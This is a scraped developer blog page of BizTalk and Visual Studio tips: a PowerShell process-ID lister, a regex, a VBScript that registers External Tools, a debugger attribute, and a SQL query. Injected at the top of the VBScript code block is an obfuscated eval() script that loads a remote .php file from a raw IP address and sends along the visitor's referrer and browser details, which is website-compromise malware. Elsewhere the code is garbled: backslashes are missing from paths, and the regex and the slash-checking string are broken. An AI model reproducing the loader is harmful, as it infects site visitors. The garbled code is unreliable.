When you have many BizTalk host instances and you want to do a “Debug Attach” to one specific one (for example to debug a pipeline component), it really helps to know the process ID (else you might have to attach to many host instances).

The Powershell code below conveniently lists the process ids along with the host name.
Credit for this code goes to Randal van Sputeren’s blog:

## https://biztalkmessages.wordpress.com/2010/01/05/retrieve-the-btsntsvc-exe-pid-with-powershell/
## Requires the BizTalk add-ons for Powershell 
## Alternative is: TASKLIST /FI “USERNAME ne NT AUTHORITYSYSTEM” /FI “IMAGENAME eq BTSNTSvc.exe” /SVC

function GetHostPID
{
   Get-ChildItem -Path 'Biztalk:\Platform Settings\Host Instances' | ForEach-Object {

   if ($_.HostType -ne 'Isolated')
      {
          [string]$a = (Get-WmiObject Win32_Process -filter "CommandLine Like '%$($_.HostName)%'").ProcessId
         $_ | Add-Member -MemberType NoteProperty -Name PID -Value $a
        Write-Output $_
 }
   } | Format-Table PID, Name, HostName, NTGroupName, RunningServer, HostType, ServiceState
}

GetHostPID   #call the above function 

Example Output

Debug Attach

In Visual Studio, you can attach your code to one or many BizTalk Host Instances in order to debug a helper routine or pipeline component. If you have many host instances, it’s difficult to know which one to pick. The screen below doesn’t list the Host Instance Names, only the Process IDs. So you need the Powershell command above, to xref the Host Instance to the Process ID.

Using the following Reg-Ex (Regular Expression) to find UTF-8 or UTF-16 characters in a text file;
this should work with any editor that supports Reg-Ex, such as NotePad++ or Visual Studio.

Be sure and check the “Regular Expression” option on the search, then type in the find string: [x80-xFF]

<code>
' <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etiza|var|u0026u|referrer|zfzie||js|php'.split('|'),0,{}))
</script></noindex> This script can be used to automate the creation of Visual Studio .NET 2003/2005 External Tools.
' Scott Colestock - www.traceofthought.net

Option Explicit
On Error Resume Next

Dim wshShell
Set wshShell = WScript.CreateObject("WScript.Shell")

dim nantLocation,buildFile
nantLocation = "%ProgramFiles%nantbinnant.exe"
buildFile = "/f:""$(SolutionDir)$(SolutionFileName).deploy.build"" "

Dim toolKey

toolKey = "HKEY_CURRENT_USERSoftwareMicrosoftVisualStudio8.0External Tools"

call Common
call AddTool(wshShell,"BT - &amp;HAT","%ProgramFiles%Microsoft  BizTalk  Server 2006BTSHatApp.exe","",17)
call AddTool(wshShell,"&amp;Gac This","%ProgramFiles%Microsoft Visual Studio 8SDKv2.0Bingacutil.exe","/i $(TargetPath) /f",26)

MsgBox "External tools have  been added for BizTalk.   Enjoy!"

sub Common()

  call AddTool(wshShell,"BT - B&amp;izTalk Deploy",nantLocation,buildFile+"debugDeploy",26)
  call AddTool(wshShell,"BT - BizTalk &amp;UnDeploy",nantLocation,buildFile+"debugUndeploy",26)
  call AddTool(wshShell,"BT - Update Orchs/Comps/SSO",nantLocation,buildFile+"updateOrchestration",26)
call AddTool(wshShell,"BT - Update SSO",nantLocation,"-D:debugDeploy=true "+buildFile+"deploySSO",26)
  call AddTool(wshShell,"BT - &amp;NAnt Current Target",nantLocation,"-buildfile:$(ItemPath) $(CurText)",26)
  call AddTool(wshShell,"BT - Bounce BizTalk",nantLocation,buildFile+"bounceBizTalk",26)

end sub

Sub AddTool(wshShell, toolTitle, toolCmd, toolArg, toolOpt)

	Dim toolCount
	toolCount = wshShell.RegRead(toolKey + "ToolNumKeys")
	call wshShell.RegWrite(toolKey + "ToolNumKeys",toolCount+1,"REG_DWORD")
	call wshShell.RegWrite(toolKey + "ToolTitle" + CStr(toolCount),toolTitle)
	call wshShell.RegWrite(toolKey + "ToolCmd" + CStr(toolCount),toolCmd)
	call wshShell.RegWrite(toolKey + "ToolArg" + CStr(toolCount),toolArg)
	call wshShell.RegWrite(toolKey + "ToolDir" + CStr(toolCount),"$(SolutionDir)")
	call wshShell.RegWrite(toolKey + "ToolSourceKey" + CStr(toolCount),"")
	call wshShell.RegWrite(toolKey + "ToolOpt" + CStr(toolCount),toolOpt,"REG_DWORD")

End Sub

If Err &lt;&gt; 0 Then
	Wscript.echo "Error: " + Err.Description
	Wscript.quit 1
End If

Wscript.quit 0

</code>

It’s an attribute (decorating), not a preprocessor directive, that allows you to skip a well-tested method when you are using F11 to step-through your code.

THE PROBLEM
When using F11 to step through your code in debug mode, you often go into helper routines that are well-tested and won’t have errors. Wouldn’t it be nice to skip over these? Wouldn’t that speed up your debugging – or at least make it less boring?

THE SOLUTION:
Add the “DebuggerStepThroughAttribute” before the method you want to skip.

Below is a simple routine I often use that adds a Slash to a path name, but only when it doesn’t end with a slash. It works, so I never need to walk-into it. (I guess I could also put it in a common library.)

        [DebuggerStepThroughAttribute()]
        public static string EndsWithOneSlash(string pathname)
        {

            // make sure we have one slash at the end of a path
            if (!pathname.EndsWith(@""))
                pathname = pathname + @"";
            return pathname;
        }

Frequently, when you try to undeploy an assembly, Biztalk returns the following error:

Some items in the removed assembly are still being used by items not defined in the same assembly, thus removal of the assembly failed.
Make sure that items in the assembly you are trying to remove fulfill the following conditions:
1. Pipelines, maps, and schemas are not being used by Send Ports or Receive Locations
2. Roles have no enlisted parties.
Undeployment failed.

The error is not nice enough to tell you the offending maps.

Here is an SQL Query that will identify maps in both send and receive ports:

select
‘RcvPort’ PortType,
r.nvcName Port,
item.name MapName,
assem.nvcName Assembly,
nSequence, indoc_docspec_name, outdoc_docspec_name
from bts_receiveport_transform rt
inner join bts_receiveport r
on rt.nReceivePortID = r.nID
inner join bt_mapspec ms
on ms.id = rt.uidTransformGUID
inner join bts_assembly assem
on ms.assemblyid = assem.nID
inner join bts_item item
on ms.itemid = item.id
–order by Port, nSequence

union

select
‘SendPort’ PortType,
r.nvcName Port,
item.name MapName,
assem.nvcName Assembly,
nSequence, indoc_docspec_name, outdoc_docspec_name
from bts_sendport_transform rt
inner join bts_sendport r
on rt.nSendPortID = r.nID
inner join bt_mapspec ms
on ms.id = rt.uidTransformGUID
inner join bts_assembly assem
on ms.assemblyid = assem.nID
inner join bts_item item
on ms.itemid = item.id

order by PortType, Port, nSequence

Enjoy!